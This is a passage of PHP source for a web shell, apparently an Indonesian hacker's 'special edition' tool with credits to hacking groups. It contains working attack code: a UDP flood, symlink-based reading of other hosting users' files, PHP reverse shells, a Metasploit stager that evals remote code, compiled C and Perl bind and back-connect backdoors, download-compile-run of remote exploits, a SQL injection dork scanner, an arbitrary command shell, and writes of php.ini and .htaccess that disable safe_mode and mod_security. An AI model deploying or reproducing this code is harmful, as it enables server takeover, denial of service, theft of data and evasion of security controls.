$_POST[\'fire\'];\r\nif (isset($submit)) {\r\n\r\n$packets = 0;\r\n$ip = $_POST[\'ip\'];\r\n$rand = $_POST[\'port\'];\r\nset_time_limit(0);\r\nignore_user_abort(FALSE);\r\n\r\n$exec_time = $_POST[\'time\'];\r\n\r\n$time = time();\r\nprint "Flooded: $ip on port $rand <br><br>";\r\n$max_time = $time+$exec_time;\r\n\r\n\r\n\r\nfor($i=0;$i<65535;$i++){\r\n        $out .= "X";\r\n}\r\nwhile(1){\r\n$packets++;\r\n        if(time() > $max_time){\r\n                break;\r\n        }\r\n        \r\n        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);\r\n        if($fp){\r\n                fwrite($fp, $out);\r\n                fclose($fp);\r\n        }\r\n}\r\necho "Packet complete at ".time(\'h:i:s\')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \\n";\r\n}\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'symlink\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">\r\n\r\n<?php   \r\n\r\n@set_time_limit(0);\r\n\r\necho "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";\r\n\r\n@mkdir(\'sym\',0777);\r\n$htaccess  = "Options all \\n DirectoryIndex Sux.html \\n AddType text/plain .php \\n AddHandler server-parsed .php \\n  AddType text/plain .html \\n AddHandler txt .html \\n Require None \\n Satisfy Any";\r\n$write =@fopen (\'sym/.htaccess\',\'w\');\r\nfwrite($write ,$htaccess);\r\n@symlink(\'/\',\'sym/root\');\r\n$filelocation = basename(__FILE__);\r\n$read_named_conf = @file(\'/etc/named.conf\');\r\nif(!$read_named_conf)\r\n{\r\necho "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; \r\n}\r\nelse\r\n{\r\necho "<br><br><div class=\'tmp\'><table border=\'1\' bordercolor=\'#00ff00\' width=\'500\' cellpadding=\'1\' cellspacing=\'0\'><td>Domains</td><td>Users</td><td>symlink </td>";\r\nforeach($read_named_conf as $subject){\r\nif(eregi(\'zone\',$subject)){\r\npreg_match_all(\'#zone "(.*)"#\',$subject,$string);\r\nflush();\r\nif(strlen(trim($string[1][0])) >2){\r\n$UID = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$string[1][0]));\r\n$name = $UID[\'name\'] ;\r\n@symlink(\'/\',\'sym/root\');\r\n$name   = $string[1][0];\r\n$iran   = \'\\.ir\';\r\n$israel = \'\\.il\';\r\n$indo   = \'\\.id\';\r\n$sg12   = \'\\.sg\';\r\n$edu    = \'\\.edu\';\r\n$gov    = \'\\.gov\';\r\n$gose   = \'\\.go\';\r\n$gober  = \'\\.gob\';\r\n$mil1   = \'\\.mil\';\r\n$mil2   = \'\\.mi\';\r\n$malay\t= \'\\.my\';\r\n$china\t= \'\\.cn\';\r\n$japan\t= \'\\.jp\';\r\n$austr\t= \'\\.au\';\r\n$porn\t= \'\\.xxx\';\r\n$as\t\t= \'\\.uk\';\r\n$calfn\t= \'\\.ca\';\r\n\r\nif (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])\r\nor eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])\r\nor eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])\r\nor eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))\r\n{\r\n$name = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$string[1][0].\'</div>\';\r\n}\r\necho "\r\n<tr>\r\n\r\n<td>\r\n<div class=\'dom\'><a target=\'_blank\' href=http://www.".$string[1][0].\'/>\'.$name.\' </a> </div>\r\n</td>\r\n\r\n<td>\r\n\'.$UID[\'name\']."\r\n</td>\r\n\r\n<td>\r\n<a href=\'sym/root/home/".$UID[\'name\']."/public_html\' target=\'_blank\'>Symlink </a>\r\n</td>\r\n\r\n</tr></div> ";\r\nflush();\r\n}\r\n}\r\n}\r\n}\r\n\r\necho "</center></table>";   \r\n\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'domain\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">\r\n\r\n<?php\r\n\r\necho \'<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>\';\r\n\r\n$file = @implode(@file("/etc/named.conf"));\r\nif(!$file){ die("# can\'t ReaD -> [ /etc/named.conf ]"); }\r\npreg_match_all("#named/(.*?).db#",$file ,$r);\r\n$domains = array_unique($r[1]);\r\n//check();\r\n//if(isset($_GET[\'ShowAll\']))\r\n{\r\necho "<table align=center border=1 width=59% cellpadding=5>\r\n<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>\r\n<tr><td>Domain</td><td>User</td></tr>";\r\nforeach($domains as $domain){\r\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));\r\n\r\n\t\techo "<tr><td>$domain</td><td>".$user[\'name\']."</td></tr>";\r\n\t\t}\r\n\techo "</table>";\r\n\t}\r\n\r\necho \'</div>\';\r\n}\r\n//////////////////////////////////////////////////////\r\n/////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tool\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=tool" method="post">\r\n<?php\r\n\r\nerror_reporting(0);\r\nfunction ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}\r\n$s_my_ip = gethostbyname($_SERVER[\'HTTP_HOST\']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class=\'mybox\' align=\'center\'><td><h2>Reverse shell ( php )</h2><form method=\'post\' actions=\'?y=<?php echo $pwd;?>&amp;x=\'tool\'><table class=\'tabnet\'><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rstarget4\' value=\'".$rstarget4."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlportb4\' value=\'".$rsportb4."\' /></td></tr></table><input type=\'submit\' name=\'xback_php\' class=\'inputzbut\' value=\'connect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /><input type=\'hidden\' name=\'d\' value=\'".$pwd."\' /></form></td><td><hr color=\'#4C83AF\'><td><td><form method=\'POST\'><table class=\'tabnet\'><h2>Metasploit Connection </h2><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'40\' name=\'yip\' value=\'".$my_ip."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'5\' name=\'yport\' value=\'443\' /></td></tr></table><input class=\'inputzbut\' type=\'submit\' value=\'Connect\' name=\'metaConnect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\'></form></td></div></center></table><br><br />";\r\necho $s_result;\r\nif($_POST[\'metaConnect\']){$ipaddr = $_POST[\'yip\'];$port = $_POST[\'yport\'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable(\'stream_socket_client\')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = \'stream\';}elseif (is_callable(\'fsockopen\')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = \'stream\';}elseif (is_callable(\'socket_create\')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = \'socket\';}else {die();}switch ($msgsock_type){case \'stream\': $len = fread($msgsock, 4); break;case \'socket\': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a[\'len\'];$buffer = \'\';while (strlen($buffer) < $len){switch ($msgsock_type) {case \'stream\': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case \'socket\': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}\r\nif(isset($_REQUEST[\'sqlportb4\'])) $rsportb4 = ss($_REQUEST[\'sqlportb4\']);\r\nif(isset($_REQUEST[\'rstarget4\'])) $rstarget4 = ss($_REQUEST[\'rstarget4\']);\r\nif ($_POST[\'xback_php\']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = \'/bin/sh\';$daemon = 0;$debug = 0;if(function_exists(\'pcntl_fork\')){$pid = pcntl_fork();\r\nif ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}\r\numask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);\r\n$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));\r\n$process = proc_open($shell, $descriptorspec, $pipes);\r\nif(!is_resource($process)) exit(1);\r\nstream_set_blocking($pipes[0], 0);\r\nstream_set_blocking($pipes[1], 0);\r\nstream_set_blocking($pipes[2], 0);\r\nstream_set_blocking($sock, 0);\r\nwhile(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\r\nif(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}\r\nif(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}\r\nif(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}\r\n}\r\n////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whois\'))\r\n   {\r\n   ?>\r\n   <form action="?y=<?php echo $pwd; ?>&x=whois" method="post">\r\n   <?php\r\n   @set_time_limit(0);\r\n   @error_reporting(0);\r\n   function sws_domain_info($site)\r\n   {\r\n   $getip = @file_get_contents("http://networktools.nl/whois/$site");\r\n   flush();\r\n   $ip = @findit($getip,\'<pre>\',\'</pre>\');\r\n   return $ip;\r\n   flush();\r\n   }\r\n   function sws_net_info($site)\r\n   {\r\n   $getip = @file_get_contents("http://networktools.nl/asinfo/$site");\r\n   $ip = @findit($getip,\'<pre>\',\'</pre>\');\r\n   return $ip;\r\n   flush();\r\n   }\r\n   function sws_site_ser($site)\r\n   {\r\n   $getip = @file_get_contents("http://networktools.nl/reverseip/$site");\r\n   $ip = @findit($getip,\'<pre>\',\'</pre>\');\r\n   return $ip;\r\n   flush();\r\n   }\r\n   function sws_sup_dom($site)\r\n   {\r\n   $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");\r\n   $ip = @findit($getip,\'<strong>Nameservers found:</strong>\',\'<script type="text/javascript">\');\r\n   return $ip;\r\n   flush();\r\n   }\r\n   function sws_port_scan($ip)\r\n   {\r\n   $list_post = array(\'80\',\'21\',\'22\',\'2082\',\'25\',\'53\',\'110\',\'443\',\'143\');\r\n   foreach ($list_post as $o_port)\r\n   {\r\n   $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);\r\n   if($connect)\r\n   {\r\n   echo " $ip : $o_port ??? <u style=\\"color: #00ff00\\">Open</u> <br /><br />";\r\n   flush();\r\n   }\r\n   }\r\n   }\r\n   function findit($mytext,$starttag,$endtag) {\r\n   $posLeft = @stripos($mytext,$starttag)+strlen($starttag);\r\n   $posRight = @stripos($mytext,$endtag,$posLeft+1);\r\n   return @substr($mytext,$posLeft,$posRight-$posLeft);\r\n   flush();\r\n   }\r\n   echo \'<br><br><center>\';\r\n   echo \'\r\n    <br />\r\n    <div class="sc"><form method="post"><table class="tabnet">\r\n\t<tr><th colspan="5">Website Whois</th></tr>\r\n    <tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00ff00;background-color:#000000" class="inputz" value="site.com" /> &nbsp <input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan !" /></td></tr>\r\n    </table></form></div>\';\r\n   if(isset($_POST[\'scan\']))\r\n   {\r\n   $site = @htmlentities($_POST[\'site\']);\r\n   if (empty($site)){die(\'<br /><br /> Not add IP .. !\');}\r\n   $ip_port = @gethostbyname($site);\r\n   echo "\r\n   <br /><div class=\\"sc2\\">Scanning [ $site ip $ip_port ] ... </div>\r\n   <div class=\\"tit\\"> <br /><br />|-------------- Port Server ------------------| <br /></div>\r\n   <div class=\\"ru\\"> <br /><br /><pre>\r\n   ";\r\n   echo "".sws_port_scan($ip_port)." </pre></div> ";\r\n   flush();\r\n   echo "<div class=\\"tit\\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>\r\n   <div class=\\"ru\\">\r\n   <pre>".sws_domain_info($site)."</pre></div>";\r\n   flush();\r\n   echo "\r\n   <div class=\\"tit\\"> <br /><br />|-------------- Network Info ------------------| <br /></div>\r\n   <div class=\\"ru\\">\r\n   <pre>".sws_net_info($site)."</pre> </div>";\r\n   flush();\r\n   echo "<div class=\\"tit\\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>\r\n   <div class=\\"ru\\">\r\n   <pre>".sws_sup_dom($site)."</pre> </div>";\r\n   flush();\r\n   echo "<div class=\\"tit\\"> <br /><br />|-------------- Site Server ------------------| <br /></div>\r\n   <div class=\\"ru\\">\r\n   <pre>".sws_site_ser($site)."</pre> </div>\r\n   <div class=\\"tit\\"> <br /><br />|-------------- END ------------------| <br /></div>";\r\n   flush();\r\n   }\r\n   echo \'</center>\';\r\n   }\r\n///////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'about\'))\r\n    {\r\n    ?>\r\n    <form action="?y=<?php echo $pwd; ?>&x=about" method="post">\r\n\t<center><br><br><img src=\'http://i.imgur.com/3m7leCw.jpg\'>\r\n    <br><br><br>terimakasih buat teman2 ku yang mau membantu saya menyelesaikan shell saya yang versi v3.1 spesial edition ini\r\n\t<br><br>[ s4mp4h | areg noid | Mr Gãndrunx (Hiddenymouz) | ardan | FH04ZA | antonio HSH | war0x | x shadow | bagonk ]<br>dan semua kawan-kawan ku\r\n\t<br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>\r\n<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>\r\n<p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>\r\nUyap<br>\r\nZinbad<br>FH04ZA<br>\r\nSani marpic<br>\r\nMadan Cyber<br>\r\nCah Bagus<br>\r\nRPG<br>Vallent<br>\r\nP4njie_a.k.a<br>\r\nDwi Syntia<br>\r\nÆrul Ringgo\'s<br>\r\nTi\'ar Variabel<br>\r\nImei7<br>\r\nHmei7<br>\r\nDe Vinclous<br>\r\nBlankon33<br>\r\nDoza Cracker<br>\r\nYing Cracker<br>\r\nIranian Hacker<br>\r\nDanger Hacker<br>\r\nAdmin07<br>\r\nZhou you<br>\r\nKsatria.us<br>\r\nCyber Inj3cti0n<br>\r\nK2ll33d<br>\r\nSultan Haikal<br>\r\nSyntax_Error<br>\r\nAqis<br>\r\nBlack Shadow<br>\r\ncrack999<br>\r\nFnatic Crew<br>\r\nCoretan Rizal<br>\r\nMalaikat Maut<br>\r\nDan teman-teman ku semua<br><br>\r\n=[ grup hacking ]=<br><br>\r\nBlack Newbie Team<br>\r\n3xpire Cyber Army<br>\r\nHack Forum<br>\r\nIndonesia Fighter Cyber<br>\r\nBiang Kerox Team<br>\r\nAnonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>\r\nX-Code<br>\r\nIndonesian Security<br>\r\nIndonesia Black Cyber<br>\r\nB-Compi<br>\r\nJasakom<br>\r\nMojopahit Fighter Cyber<br>\r\nLappis<br>\r\nMojopahit Cyber Dark<br>\r\nCrack Hack Forum<br>\r\ndan semua grup hacking<br>\r\nyang<br>\r\nsaya naungi dan singgahi<br><br><br>By<br>Cyber173 a.k.a X\'1n73ct<br><br><br>\r\n</font></b></p>\r\n</center>\r\n</marquee></center><br><br><br>\r\n<?php\r\n}\r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sqli-scanner\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=sqli-scanner" method="post">\r\n\r\n<?php\r\n\r\necho \'<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> &nbsp;&nbsp;<input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>\';\r\n\r\nob_start();\r\nset_time_limit(0);\r\n\r\nif (isset($_POST[\'scan\'])) {\r\n\r\n$browser = $_SERVER[\'HTTP_USER_AGENT\'];\r\n\r\n$first = "startgoogle.startpagina.nl/index.php?q=";\r\n$sec = "&start=";\r\n$reg = \'/<p class="g"><a href="(.*)" target="_self" onclick="/\';\r\n\r\nfor($id=0 ; $id<=30; $id++){\r\n$page=$id*10;\r\n$dork=urlencode($_POST[\'dork\']);\r\n$url = $first.$dork.$sec.$page;\r\n\r\n$curl = curl_init($url);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');\r\n$result = curl_exec($curl);\r\ncurl_close($curl);\r\n\r\npreg_match_all($reg,$result,$matches);\r\n}\r\nforeach($matches[1] as $site){\r\n\r\n$url = preg_replace("/=/", "=\'", $site);\r\n$curl=curl_init();\r\ncurl_setopt($curl,CURLOPT_RETURNTRANSFER,1);\r\ncurl_setopt($curl,CURLOPT_URL,$url);\r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');\r\ncurl_setopt($curl,CURLOPT_TIMEOUT,\'5\');\r\n$GET=curl_exec($curl); \r\nif (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT * \r\n\r\nFROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) { \r\necho \'<center><b><font color="#E10000">Found : </font><a href="\'.$url.\'" target="_blank">\'.$url.\'</a><font color=#FF0000> &#60;-- SQLI Vuln \r\n\r\nFound..</font></b></center>\';\r\nob_flush();flush(); \r\n}else{ \r\necho \'<center><font color="#FFFFFF"><b>\'.$url.\'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>\';\r\nob_flush();flush(); \r\n}\r\nob_flush();flush();\r\n}\r\nob_flush();flush();\r\n}\r\nob_flush();flush();\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'upload\')){ \r\nif(isset($_POST[\'uploadcomp\'])){\r\n\tif(is_uploaded_file($_FILES[\'file\'][\'tmp_name\'])){\r\n\t\t$path = magicboom($_POST[\'path\']);\r\n\t\t$fname = $_FILES[\'file\'][\'name\'];\r\n\t\t$tmp_name = $_FILES[\'file\'][\'tmp_name\'];\r\n\t\t$pindah = $path.$fname;\r\n\t\t$stat = @move_uploaded_file($tmp_name,$pindah);\t\t\r\n\t\tif ($stat) {\r\n\t\t\t$msg = "file uploaded to $pindah";\r\n\t\t}\r\n\t\telse $msg = "failed to upload $fname";\r\n\t}\r\n\telse $msg = "failed to upload $fname";\r\n}\r\nelseif(isset($_POST[\'uploadurl\'])){\r\n\t$pilihan = trim($_POST[\'pilihan\']);\r\n\t$wurl = trim($_POST[\'wurl\']);\r\n\t$path = magicboom($_POST[\'path\']);\r\n\t$namafile = download($pilihan,$wurl);\r\n\t$pindah = $path.$namafile;\r\n\tif(is_file($pindah)) {\r\n\t\t$msg = "file uploaded to $pindah";\r\n\t}\r\n\telse $msg = "failed to upload $namafile";\r\n\r\n}\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">\r\n<table class="tabnet" style="width:320px;padding:0 1px;">\r\n<tr><th colspan="2">Upload from computer</th></tr>\r\n<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>\r\n<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>\r\n</tr>\r\n</table></form>\r\n<table class="tabnet" style="width:320px;padding:0 1px;">\r\n<tr><th colspan="2">Upload from url</th></tr>\r\n<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">\r\n<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>\r\n<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>\r\n<tr><td><select size="1" class="inputz" name="pilihan">\r\n<option value="wwget">wget</option>\r\n<option value="wlynx">lynx</option>\r\n<option value="wfread">fread</option>\r\n<option value="wfetch">fetch</option>\r\n<option value="wlinks">links</option>\r\n<option value="wget">GET</option>\r\n<option value="wcurl">curl</option>\r\n</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>\r\n</tr>\r\n</table>\r\n<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>\r\n<?php }\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'netsploit\')){ \r\n\r\n// bind connect with c\r\nif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'C\')) {\r\n\t$port = trim($_POST[\'port\']);\r\n\t$passwrd = trim($_POST[\'bind_pass\']);\r\n\ttulis("bdc.c",$port_bind_bd_c);\r\n \texe("gcc -o bdc bdc.c");\r\n \texe("chmod 777 bdc");\r\n \t@unlink("bdc.c");\r\n \texe("./bdc ".$port." ".$passwrd." &");\r\n \t$scan = exe("ps aux"); \r\n\tif(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }\r\n\telse { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }\r\n}\r\n// bind connect with perl\r\nelseif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'Perl\')) {\r\n\t$port = trim($_POST[\'port\']);\r\n\t$passwrd = trim($_POST[\'bind_pass\']);\r\n\ttulis("bdp",$port_bind_bd_pl);\r\n\texe("chmod 777 bdp");\r\n \t$p2=which("perl");\r\n \texe($p2." bdp ".$port." &");\r\n \t$scan = exe("ps aux"); \r\n\tif(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }\r\n\telse { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }\r\n}\r\n// back connect with c\r\nelseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'C\')) {\r\n\t$ip = trim($_POST[\'ip\']);\r\n\t$port = trim($_POST[\'backport\']);\r\n\ttulis("bcc.c",$back_connect_c);\r\n \texe("gcc -o bcc bcc.c");\r\n \texe("chmod 777 bcc");\r\n \t@unlink("bcc.c");\r\n\texe("./bcc ".$ip." ".$port." &");\r\n\t$msg = "Now script try connect to ".$ip." port ".$port." ...";\r\n}\r\n// back connect with perl\r\nelseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'Perl\')) {\r\n\t$ip = trim($_POST[\'ip\']);\r\n\t$port = trim($_POST[\'backport\']);\r\n\ttulis("bcp",$back_connect);\r\n\texe("chmod +x bcp");\r\n\t$p2=which("perl");\r\n \texe($p2." bcp ".$ip." ".$port." &");\r\n \t$msg = "Now script try connect to ".$ip." port ".$port." ...";\r\n}\r\nelseif (isset($_POST[\'expcompile\']) && !empty($_POST[\'wurl\']) && !empty($_POST[\'wcmd\']))\r\n{\r\n\t$pilihan = trim($_POST[\'pilihan\']);\r\n\t$wurl = trim($_POST[\'wurl\']);\r\n\t$namafile = download($pilihan,$wurl);\r\n\tif(is_file($namafile)) {\r\n\t\r\n\t$msg = exe($wcmd);\r\n\t}\r\n\telse $msg = "error: file not found $namafile";\r\n}\r\n\r\n?>\r\n<table class="tabnet">\r\n<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>\r\n<tr>\r\n<td>\r\n<table>\r\n<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">\r\n<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>\r\n<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>\r\n<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>\r\n<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>\r\n</table>\r\n</td>\r\n<td>\r\n<table>\r\n<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">\r\n<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv(\'REMOTE_ADDR\')) ? (getenv(\'REMOTE_ADDR\')) : ("127.0.0.1")); ?>"></td></tr>\r\n<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>\r\n<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>\r\n<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>\r\n</table>\r\n</td>\r\n<td>\r\n<table>\r\n<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">\r\n<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>\r\n<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>\r\n</tr>\r\n<tr><td><select size="1" class="inputz" name="pilihan">\r\n<option value="wwget">wget</option>\r\n<option value="wlynx">lynx</option>\r\n<option value="wfread">fread</option>\r\n<option value="wfetch">fetch</option>\r\n<option value="wlinks">links</option>\r\n<option value="wget">GET</option>\r\n<option value="wcurl">curl</option>\r\n</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>\r\n</table>\r\n</td>\r\n</tr>\r\n</table>\r\n<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>\r\n<?php } elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'shell\')){  ?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">\r\n<table class="cmdbox">\r\n<tr><td colspan="2">\r\n<textarea class="output" readonly>\r\n<?php\r\nif(isset($_POST[\'submitcmd\'])) {\r\n\techo @exe($_POST[\'cmd\']);\r\n}\r\n?>\r\n</textarea>\r\n<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>\r\n</table>\r\n</form>\r\n<?php } \r\nelse { \r\nif(isset($_GET[\'delete\']) && ($_GET[\'delete\'] != "")){\r\n\t$file = $_GET[\'delete\'];\r\n\t@unlink($file);\r\n}\r\nelseif(isset($_GET[\'fdelete\']) && ($_GET[\'fdelete\'] != "")){\r\n\t@rmdir(rtrim($_GET[\'fdelete\'],DIRECTORY_SEPARATOR));\r\n}\r\nelseif(isset($_GET[\'mkdir\']) && ($_GET[\'mkdir\'] != "")){\r\n\t$path = $pwd.$_GET[\'mkdir\'];\r\n\t@mkdir($path);\r\n}\r\n\t$buff = showdir($pwd,$prompt);\r\n\techo $buff;\r\n}\r\n?>\r\n<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />\r\n<?php\r\nif(isset($_POST[\'ini\']))\r\n\t{\r\n\t\t\r\n$byphp = "safe_mode = Off\r\ndisable_functions = None\r\nsafe_mode_gid = OFF\r\nopen_basedir = OFF\r\nallow_url_fopen = On";\r\n$byht = "<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\nSecFilterCheckURLEncoding Off\r\nSecFilterCheckUnicodeEncoding Off\r\n</IfModule>";\r\nfile_put_contents("php.ini",$byphp);\r\nfile_put_contents(".htaccess",$byht);\r\necho "<script>alert(\'Disable Functions and Safemode Created\'); 